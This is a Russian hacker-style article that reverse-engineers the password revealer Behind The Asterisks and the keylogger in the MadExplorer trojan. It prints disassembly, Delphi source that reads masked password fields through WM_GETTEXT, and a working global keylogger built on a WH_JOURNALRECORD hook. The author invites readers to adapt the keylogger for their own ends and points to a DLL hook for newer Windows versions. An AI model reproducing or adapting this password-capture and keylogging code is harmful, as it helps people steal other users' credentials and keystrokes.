Пару дней назад ко мне в руки попал очередной «хакерский» диск с многообещающим названием «Всё что надо хакеру/крэкеру для взлома любой системы» (круто! :)). На диске содержится много «полезного» софта для истинного компьютерного хулигана:
- FrontPage 98.
- Go!Zilla (хорошая кстати прога).
- Полная официальная версия WinXP (объём дистрибутива 150 метров (!)).
- Коллекция вирусов (это интересно :)).
Коллекция вирусов при ближайшем рассмотрении содержала в себе много прог, которые вредоносными и назвать тяжело (подборщики паролей, системы удалённого администрирования, крякер инета 🙂 и т. д.). И среди всего этого попались мне интересные проги, а именно OpenPass, Behind The Asterisks и MadExplorer. Первые две занимаются тем, что показывают пароли находящиеся за звёздочками. Но особенность их в том, что они не используют DLL. В «хакере» была статья (ver.10.01(34)) о написании смотрелки. Суть той программы заключалась в следующем: экзешник загружаеть Dll’ку, которая в свою очередь ставит хук на мессаги и смотрит, где кликнула мышь, там убирает звездочки. Но в OpenPass и Behind The Asterisks нет DLL (поэтому они меня и заинтересовали).
Ну что ж, посмотрим что содержится в Behind The Asterisks (так как она меньше, чем OpenPass). Для этого возьмём WinDasm и декомпилируем BTA. Код программы очень прост и легко читаем. Программа создает стандартный диалог DialogBoxParamA() и работает только с ним, но не это интересно. Как же она достает текст из полей ввода без DLL? Смотрим и видим следующие строки:
:00401052 53 push ebx :00401053 6A0A push 0000000A :00401055 6A04 push 00000004 :00401057 51 push ecx * Reference To: USER32.SetTimer, Ord:0252h | :00401058 FF1528204000 Call dword ptr [00402028]
Это сразу бросается в глаза (так как программа очень маленькая). Что же делает таймер? А вот что:
//Получаем информацию о расположении курсора на экране. :0040107C 6800304000 push 00403000 * Reference To: USER32.GetCursorPos, Ord:00FCh | :00401081 FF1518204000 Call dword ptr [00402018] //
Теперь получаем handle элемента, над которым находиться мышь. :
00401087 A104304000 mov eax, dword ptr [00403004] :0040108C 50 push eax :0040108D 8B0D00304000 mov ecx, dword ptr [00403000] :00401093 51 push ecx * Reference To: USER32.WindowFromPoint, Ord:02A9h | :00401094 FF1530204000 Call dword ptr [00402030] // Посылаем сообщение handle'у. :0040109A 6814304000 push 00403014 :0040109F 6800040000 push 00000400 :004010A4 6A0D push 0000000D :004010A6 50 push eax * Reference To: USER32.SendMessageA, Ord:0214h | :004010A7 FF152C204000 Call dword ptr [0040202C]
Сообщение 0000000D соответствует WM_GETTEXT. То есть данный вызов копирует содержимое элемента в массив. Ну а с полученными данными можно делать всё что угодно (в том числе показать пользователю :)).
Вот исходник всего этого на Delphi [примечание]:
... var ... h:integer; ... procedure timer; var c:array[1..255] of char; p:tpoint; handle:hwnd; begin GetCursorPos(p); handle:=WindowFromPoint(p); SendMessage(handle,WM_GETTEXT,sizeof(c),integer(@c)); Form1.Caption:=c; end; procedure TForm1.FormCreate(Sender: TObject); begin h:=settimer(handle,0,300,@timer); end; procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin killtimer(handle,h); end;
Ну вот и всё что касалось BTA. Теперь о MadExplorer’е. Это троян с кучей функций, среди которых есть клавиатурный шпион, и опять же он реализован без Dll’ки. Обычно в таких программах делают хук на WH_KEYBOARD и ловят все нажатия (о подобной реализации можно прочесть например на хакере в статье «Клавиатурный шпион своими руками» (кстати советую, автор хороший кодер)). Минусом этого шпиона можно считать наличие двух файлов и лишние телодвижения (такие как обработка DllEntryPoint). Изучив код MadExplorer’а (приводить его здесь нет смысла, так как он очень большой) я написал следующий пример:
... var ... h:hhook; ... function Proc( code:integer; wParam:WPARAM; lParam:LPARAM ):lresult;stdcall; var c:array[0..255] of char; nScan:integer; begin if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin nScan:=hibyte((teventmsg(pointer(lparam)^).paramL)); nscan:=nscan shl 16; GetKeyNameText(nScan,c,256); form1.ListBox1.Items.Add(c); end; result:=callnexthookex(h,code,wparam,lparam); end; procedure TForm1.FormCreate(Sender: TObject); begin h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0); caption:=inttostr(h); end; procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin unhookwindowshookex(h); end;
Этот пример можно доработать и использовать в своих благородных целях. Вот и всё. Жду пожеланий. Если ты хочешь о чём-либо узнать и мне тоже будет интересно, я обязательно напишу.Примечание: Под Windows 2000/XP данным способом пароль получить не удается (хотя текст других элементов диалога читается без проблем). Там надо сделать DLL’ку с хуком (SetWindowsHookEx) и в ней перехватывать мессаги (если есть нужная мессага, то смотрим пароль).